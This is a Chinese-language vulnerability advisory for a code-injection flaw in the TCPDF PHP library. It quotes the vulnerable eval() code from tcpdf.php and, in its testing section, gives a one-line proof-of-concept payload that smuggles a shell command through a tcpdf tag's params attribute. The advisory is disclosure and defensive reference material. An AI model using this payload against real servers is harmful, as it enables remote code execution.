受影响系统:
Tecnick TCPDF 4.9.5
Tecnick TCPDF 4.5.036
不受影响系统:
Tecnick TCPDF 4.9.006
描述:
TCPDF是用于生成PDF文档的开源PHP类。
TCPDF回调元素可以注入到HTML代码中,而eval()语句中未经执行任何过滤便使用params属性解析了回调元素,这可能导致注入并执行恶意代码。以下是tcpdf.php文件的15421行的有漏洞代码段:
case ‘tcpdf’: {
// NOT HTML: used to call TCPDF methods
if (isset($tag[‘attribute’][‘method’])) {
$tcpdf_method = $tag[‘attribute’][‘method’];
if (method_exists($this, $tcpdf_method)) {
if (isset($tag[‘attribute’][‘params’]) AND
(!empty($tag[‘attribute’][‘params’]))) {
eval(‘$params = array(‘.$this->unhtmlentities(
$tag[‘attribute’][‘params’]).’);’);
call_user_func_array(array($this, $tcpdf_method),
$params);
} else {
$this->$tcpdf_method();
}
$this->newline = true;
}
}
}
<*来源:Matthias Hecker
链接:http://marc.info/?l=full-disclosure&m=127070398703800&w=2
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<tcpdf method="Rect" params=");echo `id`;die(" />
建议:
厂商补丁:
Tecnick
——-
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
0 条评论。